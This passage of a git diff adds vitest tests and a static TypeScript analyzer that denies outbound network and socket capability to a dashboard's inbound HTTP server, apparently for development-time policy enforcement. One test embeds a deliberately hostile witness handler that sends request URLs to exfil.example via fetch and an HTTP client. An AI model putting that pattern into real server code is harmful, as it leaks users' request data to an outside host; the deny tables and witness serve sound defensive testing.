+ const closed = new Set(D3_REGRESSION_MATRIX.flatMap((row) => row.closes ?? []));
+ expect([...closed].sort()).toEqual(['F-1', 'F-2', 'F-3', 'F-4', 'F-5', 'F-6', 'F-7']);
+ });
+
+ const byCategory = new Map();
+ for (const row of D3_REGRESSION_MATRIX) {
+ const rows = byCategory.get(row.category) ?? [];
+ rows.push(row);
+ byCategory.set(row.category, rows);
+ }
+
+ for (const [category, rows] of byCategory) {
+ describe(category, () => {
+ for (const row of rows) {
+ const label = `${row.expectation}: ${row.name}`;
+ it(label, () => {
+ const result = analyzeNetworkPolicy(row.source, row.options ?? {});
+ const detail = `${row.source}\n--> ${describeFindings(result)} [${result.fixpoint.state}]`;
+ switch (row.expectation) {
+ case 'MUST_DENY':
+ expect(result.verdict, detail).toBe('DENY');
+ for (const reason of row.reasons ?? []) expect(result.reasons, detail).toContain(reason);
+ break;
+ case 'MUST_ALLOW':
+ expect(result.reasons, detail).toEqual([]);
+ expect(result.verdict, detail).toBe('ALLOW');
+ expect(result.fixpoint.state, detail).toBe('CONVERGED');
+ break;
+ case 'OUTSIDE_DECLARED_BOUNDARY':
+ expect(['ALLOW', 'DENY']).toContain(result.verdict);
+ break;
+ }
+ });
+ }
+ });
+ }
+});
diff --git a/tests/cockpit-host/purity.test.ts b/tests/cockpit-host/purity.test.ts
index cd5fbe9..4a91faf 100644
--- a/tests/cockpit-host/purity.test.ts
+++ b/tests/cockpit-host/purity.test.ts
@@ -15,6 +15,8 @@ import { fileURLToPath, pathToFileURL } from 'node:url';
import ts from 'typescript';
import { afterAll, describe, expect, it } from 'vitest';
+import { analyzeNetworkPolicy } from './support/d3-network-policy.js';
+
/**
* Cockpit D3 host purity, bounded to `src/cockpit-host/`.
*
@@ -3361,3 +3363,62 @@ describe('D3 host rejects symlink escapes under the Cockpit boundary (D3-CX-POLI
expect(hostSources().length).toBeGreaterThan(0);
});
});
+
+/**
+ * D3 network policy (D3-NET, clean Stage-A model).
+ *
+ * The frozen single-file network policy lives in
+ * `./support/d3-network-policy.ts` and is exercised mechanism-by-mechanism in
+ * `d3-network-policy.test.ts` together with the semantic regression matrix.
+ * Here it is applied to the real host tree through the same symlink-checked
+ * `hostSources()` reader the other host guards use. The host may create exactly
+ * one inbound `node:http` server; it may not obtain outbound network, socket,
+ * hidden mutable server, or non-allow-listed request/response authority.
+ */
+describe('D3 host network policy (D3-NET)', () => {
+ it('accepts every real host source under the frozen network policy', () => {
+ for (const { file, text } of hostSources()) {
+ const result = analyzeNetworkPolicy(text);
+ const detail = result.findings
+ .map((finding) => `${finding.reason}@${String(finding.line)}:${String(finding.column)} ${finding.text}`)
+ .join('; ');
+ expect(result.fixpoint.state, `${file}: fixpoint ${result.fixpoint.state}`).toBe('CONVERGED');
+ expect(result.reasons, `${file}: ${detail}`).toEqual([]);
+ expect(result.verdict, file).toBe('ALLOW');
+ }
+ });
+
+ it('rejects a host that reaches outbound network or leaks server authority (witness)', () => {
+ const witness = `
+import http from 'node:http';
+import { request as httpRequest } from 'node:http';
+
+function handle(request: http.IncomingMessage, response: http.ServerResponse): void {
+ void fetch('https://exfil.example/' + (request.url ?? ''));
+ const { socket } = request;
+ socket.write('raw');
+ httpRequest('http://exfil.example/').end();
+ response.statusCode = 200;
+ response.end('ok');
+}
+
+export function createCockpitServer(): http.Server {
+ return http.createServer(handle);
+}
+
+const server = createCockpitServer();
+export { server };
+export const spare = http.createServer({ keepAlive: true }, handle);
+server.listen(4317, '127.0.0.1');
+`;
+ const result = analyzeNetworkPolicy(witness);
+ expect(result.verdict).toBe('DENY');
+ expect(result.reasons).toEqual([
+ 'CREATE_SERVER_ARITY',
+ 'FREE_GLOBAL_NETWORK',
+ 'HTTP_CLIENT_CAPABILITY',
+ 'REQUEST_DESTRUCTURING',
+ 'SERVER_EXPORT',
+ ]);
+ });
+});
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
new file mode 100644
index 0000000..00aab93
--- /dev/null
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -0,0 +1,1252 @@
+/**
+ * Cockpit D3 — network policy for the read-only dashboard host (Stage A).
+ *
+ * A static, development-time source policy over ONE TypeScript file at a time.
+ * It is not a runtime sandbox. The host may create exactly one inbound HTTP
+ * server and must not obtain outbound network capability, socket capability,
+ * hidden mutable server capability, or privileged request/response authority
+ * beyond the explicitly allow-listed operations.
+ *
+ * Core structural invariant:
+ *
+ * PROVEN_PRIVILEGED_TARGET + NON_ALLOWLISTED_OPERATION = DENY
+ *
+ * Declared analysis boundary (nothing else is used):
+ * - TypeScript binder identity over a `noLib`/`noResolve` single-file Program
+ * - AST position
+ * - unique `const` bindings and unique bodied local `FunctionDeclaration`s
+ * - finite local propagation through a bounded monotone fixpoint
+ * - finite static-key folding
+ *
+ * One concept, one implementation: `valueSymbolOf` is the only symbol
+ * resolution path; `resolveStaticKey` is the only key resolver;
+ * `resolvePropagationParameter` is the only parameter-propagation predicate;
+ * `Context.facts` is the only provenance map; `runFixpoint` is the only fixpoint.
+ */
+
+import ts from 'typescript';
+
+// ---------------------------------------------------------------------------
+// Public result model
+// ---------------------------------------------------------------------------
+
+export type Verdict = 'ALLOW' | 'DENY';
+export type AuthorityClass = 'SERVER' | 'REQUEST' | 'RESPONSE';
+export type AuthorityOrigin = 'ROOT' | 'ALIAS' | 'PARAM';
+export type FixpointState = 'CONVERGED' | 'EXHAUSTED';
+
+type UseViolation =
+ | 'ESCAPE'
+ | 'MEMBER'
+ | 'WRITE'
+ | 'DESTRUCTURING'
+ | 'EXPORT'
+ | 'MUTABLE_BINDING'
+ | 'UNCONFINED_RETURN';
+
+export type TargetReason = `${AuthorityClass}_${UseViolation}`;
+
+export type ReasonCode =
+ | TargetReason
+ | 'ARGUMENTS_USE'
+ | 'THIS_EXPRESSION'
+ | 'FIXPOINT_EXHAUSTED'
+ | 'FREE_GLOBAL_NETWORK'
+ | 'GLOBAL_RECEIVER_NETWORK_MEMBER'
+ | 'GLOBAL_RECEIVER_RUNTIME_KEY'
+ | 'GLOBAL_RECEIVER_ESCAPE'
+ | 'GLOBAL_RECEIVER_DESTRUCTURING'
+ | 'HTTP_CLIENT_CAPABILITY'
+ | 'HTTP_IMPORT_EQUALS'
+ | 'HTTP_DYNAMIC_IMPORT'
+ | 'HTTP_REEXPORT'
+ | 'HTTP_NAMESPACE_ESCAPE'
+ | 'HTTP_NAMESPACE_RUNTIME_KEY'
+ | 'CREATE_SERVER_ESCAPE'
+ | 'CREATE_SERVER_NEW'
+ | 'CREATE_SERVER_NOT_CALLED'
+ | 'CREATE_SERVER_ARITY'
+ | 'LISTENER_NOT_FUNCTION'
+ | 'LISTENER_PARAMETER_PATTERN'
+ | 'LISTENER_THIS_PARAMETER';
+
+export interface Finding {
+ readonly reason: ReasonCode;
+ readonly line: number;
+ readonly column: number;
+ readonly text: string;
+}
+
+export interface FixpointReport {
+ readonly state: FixpointState;
+ readonly iterations: number;
+ readonly bound: number;
+}
+
+export interface NetworkPolicyResult {
+ readonly verdict: Verdict;
+ readonly reasons: readonly ReasonCode[];
+ readonly findings: readonly Finding[];
+ readonly fixpoint: FixpointReport;
+}
+
+export interface NetworkPolicyOptions {
+ /** Absolute safety ceiling on fixpoint iterations (test hook; default `DEFAULT_FIXPOINT_CEILING`). */
+ readonly fixpointCeiling?: number;
+}
+
+export type StaticKey =
+ | { readonly kind: 'RESOLVED'; readonly value: string }
+ | { readonly kind: 'NOT_CAPABILITY' }
+ | { readonly kind: 'INDETERMINATE' };
+
+// ---------------------------------------------------------------------------
+// Frozen policy tables
+// ---------------------------------------------------------------------------
+
+export const HTTP_MODULE_SPECIFIERS: ReadonlySet = new Set(['node:http', 'http']);
+export const NETWORK_GLOBAL_NAMES: ReadonlySet = new Set(['fetch', 'WebSocket']);
+export const GLOBAL_RECEIVER_NAMES: ReadonlySet = new Set(['globalThis', 'window', 'self', 'global']);
+const CREATE_SERVER = 'createServer';
+export const SERVER_METHODS: ReadonlySet = new Set(['listen', 'close']);
+export const REQUEST_READS: ReadonlySet = new Set(['method', 'url']);
+export const RESPONSE_METHODS: ReadonlySet = new Set(['setHeader', 'end']);
+const RESPONSE_STATUS = 'statusCode';
+
+/** Every key the policy ever compares a static string against. */
+export const POLICY_KEY_NAMES: readonly string[] = [
+ ...HTTP_MODULE_SPECIFIERS,
+ ...NETWORK_GLOBAL_NAMES,
+ ...GLOBAL_RECEIVER_NAMES,
+ CREATE_SERVER,
+ ...SERVER_METHODS,
+ ...REQUEST_READS,
+ ...RESPONSE_METHODS,
+ RESPONSE_STATUS,
+];
+
+/** A folded string longer than this can never be a policy key: NOT_CAPABILITY. */
+export const STATIC_KEY_CEILING: number = POLICY_KEY_NAMES.reduce((max, name) => Math.max(max, name.length), 0);
+
+export const STATIC_KEY_DEPTH_LIMIT = 64;
+export const STATIC_KEY_WORK_LIMIT = 10_000;
+export const LISTENER_HOP_LIMIT = 32;
+export const DEFAULT_FIXPOINT_CEILING = 10_000;
+
+const RESOLVED = (value: string): StaticKey => ({ kind: 'RESOLVED', value });
+const NOT_CAPABILITY: StaticKey = { kind: 'NOT_CAPABILITY' };
+const INDETERMINATE: StaticKey = { kind: 'INDETERMINATE' };
+
+const isResolvedTo = (key: StaticKey, names: ReadonlySet | string): boolean =>
+ key.kind === 'RESOLVED' && (typeof names === 'string' ? key.value === names : names.has(key.value));
+
+// ---------------------------------------------------------------------------
+// Analysis context
+// ---------------------------------------------------------------------------
+
+type FunctionLike = ts.ArrowFunction | ts.FunctionExpression | ts.FunctionDeclaration;
+
+interface Context {
+ readonly sourceFile: ts.SourceFile;
+ readonly checker: ts.TypeChecker;
+ readonly findings: Finding[];
+ /** Every runtime value read, grouped by binder symbol (`valueSymbolOf`). */
+ readonly valueReads: Map;
+ /** Runtime value reads that bind to no in-file symbol (free globals under noLib). */
+ readonly unboundValueReads: ts.Identifier[];
+ /** Symbols introduced by any declaration name in the file (fixpoint bound). */
+ readonly declaredSymbols: Set;
+ /** Binder-resolved writes per symbol (assignment, compound, update, destructuring, for-in/of). */
+ readonly writeCounts: Map;
+ readonly httpNamespaces: Set;
+ readonly createServerBindings: Set;
+ readonly calls: ts.CallExpression[];
+ readonly variableDeclarations: ts.VariableDeclaration[];
+ /** Symbols bound to a local function (FunctionDeclaration or const arrow/function expression). */
+ readonly functionBindings: Set;
+ readonly thisExpressions: ts.Node[];
+ /** THE provenance map: symbol -> set of `${class}:${origin}` facts. */
+ readonly facts: Map>;
+ readonly confinedFactories: Set;
+ readonly keyMemo: Map;
+ keyWork: number;
+ readonly fixpointCeiling: number;
+}
+
+const FILE_NAME = 'host.ts';
+
+function createProgram(source: string): { sourceFile: ts.SourceFile; checker: ts.TypeChecker } {
+ const parsed = ts.createSourceFile(FILE_NAME, source, ts.ScriptTarget.ESNext, true, ts.ScriptKind.TS);
+ const host: ts.CompilerHost = {
+ getSourceFile: (fileName) => (fileName === FILE_NAME ? parsed : undefined),
+ getDefaultLibFileName: () => 'lib.d.ts',
+ writeFile: () => undefined,
+ getCurrentDirectory: () => '',
+ getCanonicalFileName: (fileName) => fileName,
+ useCaseSensitiveFileNames: () => true,
+ getNewLine: () => '\n',
+ fileExists: (fileName) => fileName === FILE_NAME,
+ readFile: () => undefined,
+ directoryExists: () => false,
+ getDirectories: () => [],
+ };
+ const program = ts.createProgram(
+ [FILE_NAME],
+ { noLib: true, noResolve: true, types: [], target: ts.ScriptTarget.ESNext, module: ts.ModuleKind.ESNext },
+ host,
+ );
+ const sourceFile = program.getSourceFile(FILE_NAME);
+ if (sourceFile === undefined) {
+ throw new Error('D3 network policy: single-file program did not retain its source file');
+ }
+ return { sourceFile, checker: program.getTypeChecker() };
+}
+
+function deny(ctx: Context, reason: ReasonCode, node: ts.Node): void {
+ const { line, character } = ctx.sourceFile.getLineAndCharacterOfPosition(node.getStart(ctx.sourceFile));
+ const raw = node.getText(ctx.sourceFile);
+ const text = raw.length > 80 ? `${raw.slice(0, 77)}...` : raw;
+ ctx.findings.push({ reason, line: line + 1, column: character + 1, text });
+}
+
+// ---------------------------------------------------------------------------
+// Transparent wrappers and AST position helpers
+// ---------------------------------------------------------------------------
+
+type Wrapper =
+ | ts.ParenthesizedExpression
+ | ts.AsExpression
+ | ts.SatisfiesExpression
+ | ts.NonNullExpression
+ | ts.TypeAssertion;
+
+const isWrapper = (node: ts.Node): node is Wrapper =>
+ ts.isParenthesizedExpression(node) ||
+ ts.isAsExpression(node) ||
+ ts.isSatisfiesExpression(node) ||
+ ts.isNonNullExpression(node) ||
+ ts.isTypeAssertionExpression(node);
+
+/** Strip identity-preserving wrappers downward. */
+export function unwrap(expression: ts.Expression): ts.Expression {
+ let current = expression;
+ while (isWrapper(current)) current = current.expression;
+ return current;
+}
+
+/** Climb identity-preserving wrappers upward; returns the outermost wrapped node and its parent. */
+function climb(node: ts.Node): { readonly node: ts.Node; readonly parent: ts.Node } {
+ let current = node;
+ let parent = current.parent;
+ while (isWrapper(parent) && parent.expression === current) {
+ current = parent;
+ parent = current.parent;
+ }
+ return { node: current, parent };
+}
+
+const isAssignmentOperator = (kind: ts.SyntaxKind): boolean =>
+ kind >= ts.SyntaxKind.FirstAssignment && kind <= ts.SyntaxKind.LastAssignment;
+
+const isUpdateExpression = (node: ts.Node): boolean =>
+ (ts.isPrefixUnaryExpression(node) || ts.isPostfixUnaryExpression(node)) &&
+ (node.operator === ts.SyntaxKind.PlusPlusToken || node.operator === ts.SyntaxKind.MinusMinusToken);
+
+/**
+ * Whether `node` (an identifier or member access) is written: `=`, compound
+ * assignment, `++`/`--`, `delete`, a for-in/for-of target, or any position inside
+ * a destructuring-assignment pattern that is itself such a target. Wrappers
+ * around the target are transparent.
+ */
+export function isWriteTarget(node: ts.Node): boolean {
+ let current = climb(node).node;
+ for (;;) {
+ const parent = current.parent;
+ if (ts.isBinaryExpression(parent) && isAssignmentOperator(parent.operatorToken.kind) && parent.left === current) {
+ return true;
+ }
+ if (isUpdateExpression(parent) || ts.isDeleteExpression(parent)) return true;
+ if ((ts.isForInStatement(parent) || ts.isForOfStatement(parent)) && parent.initializer === current) return true;
+ if (ts.isArrayLiteralExpression(parent)) {
+ current = climb(parent).node;
+ continue;
+ }
+ if (ts.isSpreadElement(parent) || ts.isSpreadAssignment(parent)) {
+ current = parent;
+ continue;
+ }
+ if (ts.isPropertyAssignment(parent) && parent.initializer === current) {
+ current = climb(parent.parent).node;
+ continue;
+ }
+ if (ts.isShorthandPropertyAssignment(parent)) {
+ current = climb(parent.parent).node;
+ continue;
+ }
+ return false;
+ }
+}
+
+const isDeclarationNameOf = (parent: ts.Node, id: ts.Identifier): boolean =>
+ (ts.isVariableDeclaration(parent) ||
+ ts.isParameter(parent) ||
+ ts.isBindingElement(parent) ||
+ ts.isFunctionDeclaration(parent) ||
+ ts.isFunctionExpression(parent) ||
+ ts.isClassDeclaration(parent) ||
+ ts.isClassExpression(parent) ||
+ ts.isMethodDeclaration(parent) ||
+ ts.isPropertyDeclaration(parent) ||
+ ts.isGetAccessorDeclaration(parent) ||
+ ts.isSetAccessorDeclaration(parent) ||
+ ts.isEnumDeclaration(parent) ||
+ ts.isEnumMember(parent) ||
+ ts.isModuleDeclaration(parent) ||
+ ts.isTypeAliasDeclaration(parent) ||
+ ts.isInterfaceDeclaration(parent) ||
+ ts.isTypeParameterDeclaration(parent) ||
+ ts.isImportClause(parent) ||
+ ts.isNamespaceImport(parent) ||
+ ts.isNamespaceExport(parent) ||
+ ts.isImportEqualsDeclaration(parent) ||
+ ts.isPropertySignature(parent) ||
+ ts.isMethodSignature(parent) ||
+ ts.isPropertyAssignment(parent)) &&
+ parent.name === id;
+
+/** Whether an identifier sits inside a type position (never a runtime read). */
+function isInTypePosition(node: ts.Node): boolean {
+ let current = node;
+ let parent = current.parent;
+ while (!ts.isSourceFile(parent)) {
+ if (ts.isExpressionWithTypeArguments(parent)) {
+ const clause = parent.parent;
+ const isClassExtends =
+ ts.isHeritageClause(clause) && clause.token === ts.SyntaxKind.ExtendsKeyword && ts.isClassLike(clause.parent);
+ return !isClassExtends;
+ }
+ if (ts.isTypeNode(parent)) return true;
+ if (ts.isStatement(parent) || ts.isExpression(parent)) return false;
+ current = parent;
+ parent = current.parent;
+ }
+ return false;
+}
+
+/**
+ * THE value-read predicate: is this identifier a runtime read of a binding?
+ * Declaration names, property keys, member names, labels, import forms and every
+ * type position are not. An `ExportSpecifier` local name is an explicit value
+ * use (resolved by `valueSymbolOf`). A shorthand property value is a value use.
+ */
+export function isValueRead(id: ts.Identifier): boolean {
+ const parent = id.parent;
+ if (ts.isShorthandPropertyAssignment(parent)) return parent.name === id;
+ if (ts.isExportSpecifier(parent)) {
+ const declaration = parent.parent.parent;
+ if (declaration.moduleSpecifier !== undefined || declaration.isTypeOnly || parent.isTypeOnly) return false;
+ return (parent.propertyName ?? parent.name) === id;
+ }
+ if (ts.isImportSpecifier(parent)) return false;
+ if (isDeclarationNameOf(parent, id)) return false;
+ if (ts.isBindingElement(parent) && parent.propertyName === id) return false;
+ if (ts.isPropertyAccessExpression(parent) && parent.name === id) return false;
+ if (ts.isLabeledStatement(parent) || ts.isBreakOrContinueStatement(parent)) return false;
+ if (ts.isMetaProperty(parent)) return false;
+ if (ts.isQualifiedName(parent)) {
+ let root: ts.Node = parent;
+ while (ts.isQualifiedName(root.parent)) root = root.parent;
+ return ts.isImportEqualsDeclaration(root.parent) && root.parent.moduleReference === root;
+ }
+ if (ts.isImportEqualsDeclaration(parent)) return parent.moduleReference === id;
+ return !isInTypePosition(id);
+}
+
+/** THE symbol-resolution helper. Every producer and consumer uses this and nothing else. */
+export function valueSymbolOf(checker: ts.TypeChecker, node: ts.Node): ts.Symbol | undefined {
+ if (ts.isIdentifier(node) && ts.isShorthandPropertyAssignment(node.parent) && node.parent.name === node) {
+ return checker.getShorthandAssignmentValueSymbol(node.parent);
+ }
+ if (ts.isExportSpecifier(node)) return checker.getExportSpecifierLocalTargetSymbol(node);
+ if (ts.isIdentifier(node) && ts.isExportSpecifier(node.parent)) {
+ return checker.getExportSpecifierLocalTargetSymbol(node.parent);
+ }
+ return checker.getSymbolAtLocation(node);
+}
+
+/** Whether a declaration is ambient: it or an enclosing declaration carries `declare`. */
+function isAmbient(node: ts.Declaration): boolean {
+ let current: ts.Node = node;
+ while (!ts.isSourceFile(current)) {
+ if (ts.canHaveModifiers(current) && (ts.getCombinedModifierFlags(current as ts.Declaration) & ts.ModifierFlags.Ambient) !== 0) {
+ return true;
+ }
+ current = current.parent;
+ }
+ return false;
+}
+
+const isTypeOnlyImportClause = (clause: ts.ImportClause): boolean =>
+ clause.phaseModifier === ts.SyntaxKind.TypeKeyword;
+
+const isExported = (node: ts.Declaration): boolean =>
+ (ts.getCombinedModifierFlags(node) & ts.ModifierFlags.Export) !== 0;
+
+const isPlainConst = (declaration: ts.VariableDeclaration): boolean => {
+ const scoped: number = ts.getCombinedNodeFlags(declaration) & ts.NodeFlags.BlockScoped;
+ const plainConst: number = ts.NodeFlags.Const;
+ return scoped === plainConst;
+};
+
+/** A declaration that produces a runtime binding (shadows a global at runtime). */
+function isRuntimeDeclaration(declaration: ts.Declaration): boolean {
+ if (isAmbient(declaration)) return false;
+ if (ts.isVariableDeclaration(declaration) || ts.isBindingElement(declaration) || ts.isParameter(declaration)) {
+ return true;
+ }
+ if (ts.isFunctionDeclaration(declaration)) return declaration.body !== undefined;
+ if (ts.isClassDeclaration(declaration) || ts.isClassExpression(declaration)) return true;
+ if (ts.isImportClause(declaration)) return !isTypeOnlyImportClause(declaration);
+ if (ts.isNamespaceImport(declaration)) return !isTypeOnlyImportClause(declaration.parent);
+ if (ts.isImportSpecifier(declaration)) {
+ return !declaration.isTypeOnly && !isTypeOnlyImportClause(declaration.parent.parent);
+ }
+ if (ts.isEnumDeclaration(declaration)) {
+ return (ts.getCombinedModifierFlags(declaration) & ts.ModifierFlags.Const) === 0;
+ }
+ if (ts.isModuleDeclaration(declaration)) return isInstantiatedNamespace(declaration);
+ if (ts.isImportEqualsDeclaration(declaration)) return isRuntimeImportEquals(declaration);
+ return false;
+}
+
+/**
+ * THE runtime import-equals predicate. A non-type-only `import x = ...` is a
+ * runtime alias when it references an external module (`require(...)`) or is
+ * exported — the binder's own rule for what instantiates an enclosing namespace
+ * (`export import get = Local.get` emits `fetch.get = Local.get`). A type-only or
+ * private entity alias is erased.
+ */
+const isRuntimeImportEquals = (declaration: ts.ImportEqualsDeclaration): boolean =>
+ !declaration.isTypeOnly && (ts.isExternalModuleReference(declaration.moduleReference) || isExported(declaration));
+
+/**
+ * A non-ambient `namespace` produces a runtime binding only when it is
+ * instantiated: its body (or a nested namespace body) declares a value —
+ * a variable, a bodied function, a class, or a runtime enum. A namespace that
+ * holds only types is erased and shadows nothing at runtime.
+ */
+function isInstantiatedNamespace(declaration: ts.ModuleDeclaration): boolean {
+ if (!ts.isIdentifier(declaration.name) || declaration.body === undefined) return false;
+ if (ts.isModuleDeclaration(declaration.body)) return isInstantiatedNamespace(declaration.body);
+ if (!ts.isModuleBlock(declaration.body)) return false;
+ return declaration.body.statements.some((statement) => {
+ if (isAmbient(statement as ts.Declaration)) return false;
+ if (ts.isVariableStatement(statement) || ts.isClassDeclaration(statement)) return true;
+ if (ts.isFunctionDeclaration(statement)) return statement.body !== undefined;
+ if (ts.isEnumDeclaration(statement)) return (ts.getCombinedModifierFlags(statement) & ts.ModifierFlags.Const) === 0;
+ if (ts.isModuleDeclaration(statement)) return isInstantiatedNamespace(statement);
+ if (ts.isImportEqualsDeclaration(statement)) return isRuntimeImportEquals(statement);
+ return false;
+ });
+}
+
+const isRuntimeShadowed = (symbol: ts.Symbol): boolean => (symbol.declarations ?? []).some(isRuntimeDeclaration);
+
+const writeCount = (ctx: Context, symbol: ts.Symbol): number => ctx.writeCounts.get(symbol) ?? 0;
+
+const hasThisParameter = (fn: ts.SignatureDeclaration): boolean =>
+ fn.parameters.some((parameter) => ts.isIdentifier(parameter.name) && parameter.name.text === 'this');
+
+const soleDeclaration = (symbol: ts.Symbol | undefined): ts.Declaration | undefined => {
+ const declarations = symbol?.declarations ?? [];
+ return declarations.length === 1 ? declarations[0] : undefined;
+};
+
+/**
+ * The unique, immutable `const = ` declaration behind a
+ * symbol, or null: exactly one declaration, plain `const`, plain identifier name,
+ * non-ambient, initialized, zero binder-resolved writes.
+ */
+function uniqueConstDeclaration(ctx: Context, symbol: ts.Symbol | undefined): ts.VariableDeclaration | null {
+ const declaration = soleDeclaration(symbol);
+ if (symbol === undefined || declaration === undefined) return null;
+ if (!ts.isVariableDeclaration(declaration) || !ts.isIdentifier(declaration.name)) return null;
+ if (!isPlainConst(declaration) || isAmbient(declaration) || declaration.initializer === undefined) return null;
+ if (writeCount(ctx, symbol) !== 0) return null;
+ return declaration;
+}
+
+/** The unique, immutable, bodied, non-ambient FunctionDeclaration behind a symbol, or null. */
+function uniqueFunctionDeclaration(ctx: Context, symbol: ts.Symbol | undefined): ts.FunctionDeclaration | null {
+ const declaration = soleDeclaration(symbol);
+ if (symbol === undefined || declaration === undefined || !ts.isFunctionDeclaration(declaration)) return null;
+ if (declaration.body === undefined || isAmbient(declaration) || writeCount(ctx, symbol) !== 0) return null;
+ return declaration;
+}
+
+/** A privileged const alias must additionally not be exported. */
+const isConfinedAliasDeclaration = (ctx: Context, declaration: ts.VariableDeclaration): boolean =>
+ ts.isIdentifier(declaration.name) &&
+ uniqueConstDeclaration(ctx, valueSymbolOf(ctx.checker, declaration.name)) === declaration &&
+ !isExported(declaration);
+
+// ---------------------------------------------------------------------------
+// THE static-key resolver
+// ---------------------------------------------------------------------------
+
+const foldKey = (text: string): StaticKey => (text.length > STATIC_KEY_CEILING ? NOT_CAPABILITY : RESOLVED(text));
+
+const concatKeys = (left: StaticKey, right: StaticKey): StaticKey => {
+ if (left.kind === 'INDETERMINATE' || right.kind === 'INDETERMINATE') return INDETERMINATE;
+ if (left.kind === 'NOT_CAPABILITY' || right.kind === 'NOT_CAPABILITY') return NOT_CAPABILITY;
+ return foldKey(left.value + right.value);
+};
+
+function resolveKeyInner(
+ ctx: Context,
+ expression: ts.Expression,
+ depth: number,
+ visiting: Set,
+): StaticKey {
+ ctx.keyWork += 1;
+ if (depth > STATIC_KEY_DEPTH_LIMIT || ctx.keyWork > STATIC_KEY_WORK_LIMIT) return INDETERMINATE;
+ const node = unwrap(expression);
+ if (ts.isStringLiteralLike(node) || ts.isNumericLiteral(node)) return foldKey(node.text);
+ if (ts.isTemplateExpression(node)) {
+ let key = foldKey(node.head.text);
+ for (const span of node.templateSpans) {
+ key = concatKeys(key, resolveKeyInner(ctx, span.expression, depth + 1, visiting));
+ key = concatKeys(key, foldKey(span.literal.text));
+ }
+ return key;
+ }
+ if (ts.isBinaryExpression(node) && node.operatorToken.kind === ts.SyntaxKind.PlusToken) {
+ return concatKeys(
+ resolveKeyInner(ctx, node.left, depth + 1, visiting),
+ resolveKeyInner(ctx, node.right, depth + 1, visiting),
+ );
+ }
+ if (ts.isIdentifier(node)) {
+ const declaration = uniqueConstDeclaration(ctx, valueSymbolOf(ctx.checker, node));
+ if (declaration?.initializer === undefined) return INDETERMINATE;
+ const memo = ctx.keyMemo.get(declaration);
+ if (memo !== undefined) return memo;
+ if (visiting.has(declaration)) return INDETERMINATE;
+ visiting.add(declaration);
+ const key = resolveKeyInner(ctx, declaration.initializer, depth + 1, visiting);
+ visiting.delete(declaration);
+ ctx.keyMemo.set(declaration, key);
+ return key;
+ }
+ return INDETERMINATE;
+}
+
+/** THE static-key resolver: RESOLVED(value) | NOT_CAPABILITY | INDETERMINATE. */
+const resolveStaticKey = (ctx: Context, expression: ts.Expression): StaticKey =>
+ resolveKeyInner(ctx, expression, 0, new Set());
+
+/** Key of a property name in a pattern/object literal, through the same resolver. */
+function resolvePropertyName(ctx: Context, name: ts.PropertyName): StaticKey {
+ if (ts.isIdentifier(name) || ts.isStringLiteralLike(name) || ts.isNumericLiteral(name)) return foldKey(name.text);
+ if (ts.isComputedPropertyName(name)) return resolveStaticKey(ctx, name.expression);
+ return INDETERMINATE;
+}
+
+type MemberAccess = ts.PropertyAccessExpression | ts.ElementAccessExpression;
+
+/** Key of a member access, through the same resolver. */
+function memberKey(ctx: Context, access: MemberAccess): StaticKey {
+ if (ts.isPropertyAccessExpression(access)) {
+ return ts.isIdentifier(access.name) ? foldKey(access.name.text) : INDETERMINATE;
+ }
+ return resolveStaticKey(ctx, access.argumentExpression);
+}
+
+const isMemberAccess = (node: ts.Node): node is MemberAccess =>
+ ts.isPropertyAccessExpression(node) || ts.isElementAccessExpression(node);
+
+const isBindingPattern = (node: ts.Node): node is ts.BindingPattern =>
+ ts.isObjectBindingPattern(node) || ts.isArrayBindingPattern(node);
+
+// ---------------------------------------------------------------------------
+// Collection pass
+// ---------------------------------------------------------------------------
+
+function collect(ctx: Context, node: ts.Node): void {
+ if (node.kind === ts.SyntaxKind.ThisKeyword) ctx.thisExpressions.push(node);
+ if (ts.isIdentifier(node)) {
+ if (isDeclarationNameOf(node.parent, node) || (ts.isImportSpecifier(node.parent) && node.parent.name === node)) {
+ const declared = valueSymbolOf(ctx.checker, node);
+ if (declared !== undefined) ctx.declaredSymbols.add(declared);
+ }
+ if (isValueRead(node)) {
+ const symbol = valueSymbolOf(ctx.checker, node);
+ if (symbol === undefined) ctx.unboundValueReads.push(node);
+ else {
+ const reads = ctx.valueReads.get(symbol);
+ if (reads === undefined) ctx.valueReads.set(symbol, [node]);
+ else reads.push(node);
+ }
+ }
+ }
+ if (ts.isCallExpression(node)) ctx.calls.push(node);
+ if (ts.isVariableDeclaration(node)) {
+ ctx.variableDeclarations.push(node);
+ if (ts.isIdentifier(node.name) && node.initializer !== undefined) {
+ const initializer = unwrap(node.initializer);
+ if (ts.isArrowFunction(initializer) || ts.isFunctionExpression(initializer)) {
+ const symbol = valueSymbolOf(ctx.checker, node.name);
+ if (symbol !== undefined) ctx.functionBindings.add(symbol);
+ }
+ }
+ }
+ if (ts.isFunctionDeclaration(node) && node.name !== undefined) {
+ const symbol = valueSymbolOf(ctx.checker, node.name);
+ if (symbol !== undefined) ctx.functionBindings.add(symbol);
+ }
+ ts.forEachChild(node, (child) => {
+ collect(ctx, child);
+ });
+}
+
+function buildWriteInventory(ctx: Context): void {
+ for (const [symbol, reads] of ctx.valueReads) {
+ const writes = reads.filter((read) => isWriteTarget(read)).length;
+ if (writes > 0) ctx.writeCounts.set(symbol, writes);
+ }
+}
+
+function isHttpSpecifier(expression: ts.Expression | undefined): boolean {
+ return expression !== undefined && ts.isStringLiteralLike(expression) && HTTP_MODULE_SPECIFIERS.has(expression.text);
+}
+
+/** Recognize supported node:http import forms; deny every other node:http runtime capability route. */
+function collectHttpImports(ctx: Context): void {
+ for (const statement of ctx.sourceFile.statements) {
+ if (ts.isImportDeclaration(statement) && isHttpSpecifier(statement.moduleSpecifier)) {
+ const clause = statement.importClause;
+ if (clause === undefined || isTypeOnlyImportClause(clause)) continue;
+ if (clause.name !== undefined) {
+ const symbol = valueSymbolOf(ctx.checker, clause.name);
+ if (symbol !== undefined) ctx.httpNamespaces.add(symbol);
+ }
+ const bindings = clause.namedBindings;
+ if (bindings === undefined) continue;
+ if (ts.isNamespaceImport(bindings)) {
+ const symbol = valueSymbolOf(ctx.checker, bindings.name);
+ if (symbol !== undefined) ctx.httpNamespaces.add(symbol);
+ continue;
+ }
+ for (const element of bindings.elements) {
+ if (element.isTypeOnly) continue;
+ const imported = (element.propertyName ?? element.name).text;
+ const symbol = valueSymbolOf(ctx.checker, element.name);
